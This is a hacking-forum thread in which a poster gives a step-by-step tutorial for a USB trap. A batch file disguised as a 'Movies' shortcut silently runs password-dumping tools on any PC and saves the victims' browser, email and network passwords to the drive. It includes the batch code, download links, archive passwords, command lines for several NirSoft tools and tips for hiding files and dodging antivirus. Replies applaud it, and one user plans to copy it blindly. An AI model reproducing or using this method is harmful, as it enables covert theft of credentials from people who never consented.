[Mr. Robot]

Simple tut, straight to the point.
Open to some input.
We will make it more or less discreet too.

Output will look like this




1. Download
http://securityxploded.com/browser-password-dump.php
Or direct link
http://securityxploded.org/getsoftware_d...hp?id=5761


2. Extract the files with the password securityxploded2007


3. Run the installer, and choose the install directory to be the USB.




4. Create the folders with the name Movies and Browser Passwords

5. Open notepad, and paste the following into it - then save the file as Movies.bat

Code

@echo off
@echo off
cd %cd:~0,2%
start BrowserPasswordDump\BrowserPasswordDump.exe -f "Browser Passwords\%computername%.log"
start  %SystemRoot%\explorer.exe "Movies"

6. Right click your Movies.bat file, and create a shortcut, then rename to just Movies

7. Right click your shortcut, and hit properties, then choose icon.



8. Select all the files except the movie shortcut and then right click, properties and then click hidden.

9. Run that shortcut on any PC, and the passwords will all be exported to the folder Browser Passwords\

10. Now to access that folder you can just do this, remember to replace D:\ with your current USB drive




If security xploded doesn't work for you or gets picked up by antivirus you can try

http://www.nirsoft.net/password_recovery_tools.html -
scroll down to where it says

Click this download link.
Enter 'download' as the user name, and 'nirsoft123!' as the password.
After downloading the package, extract the files from it using the following password: nirsoft123!

Using this as the password "nirsoft123!" to download it and extract it - and using "download" as the username on the actual download URL
The reason it has a password now and is hard to find is they have a public version that is not command line to avoid people using it like I have demonstrated in the OP.

You would need to use
passwordtool.exe /stext passwords.txt

Replace passwordtool.exe with the name of the extracted executable from the zip file and replace passwords.txt with whatever you wish to name the text file - something like the computer name to keep the password logs all unique if using on multiple machines in a day or just do %random%.txt which will give it a random number such as 123151.txt

ChromePass.exe /stext %random%.txt
Dialupass.exe /stext %random%.txt
iepv.exe /stext %random%.txt
mailpv.exe /stext %random%.txt
mspass.exe /stext %random%.txt
netpass.exe /stext %random%.txt
PasswordFox.exe /stext %random%.txt
PstPassword.exe /stext %random%.txt
WebBrowserPassView.exe /stext %random%.txt

You will probably only want/need "WebBrowserPassView.exe"

[d0xie]

This seems interesting. I'll give it a shot sometime today when I'm done cleaning all my USB's out and organizing stuff.

[nique ta mere]

Amazing tutorial by Mr. Robot. Thank you.

[Mr. Robot]

Just a basic one, handy to have on your USB.

You can make the files hidden deeper on the USB if you want too, that's up to you.

[D_MuLa]

batch is still useful holy crap lol

[Mr. Robot]

batch is still useful holy crap lol

Lol what, Batch is great.

[Tunechi]

Dope tutorial, posting so I can come back to this later. Thanks for the info

[Fantom4242]

You've been putting it to work with USB pentesting, and I love it

[Horizon]

Interesting post, thanks for sharing OP!

[TheGoldenRelik]

Posting to come back later!
Thanks in advance OP!

[nique ta mere]

Just a basic one, handy to have on your USB.

You can make the files hidden deeper on the USB if you want too, that's up to you.

Mr Robot don't talk like this, this ain't no basic shit brother. You're a hacker.

[Mr. Robot]

Looking into how to make the folder a symlink for more discretion.

[Stashy]

no clue what half this shit means but I'll be like any other skid and just copy it

thanks

[7h3_Ph3n0m]

hmm interesting concept 🙂

[Mr. Robot]

no clue what half this shit means but I'll be like any other skid and just copy it

thanks

Let me know how you get on.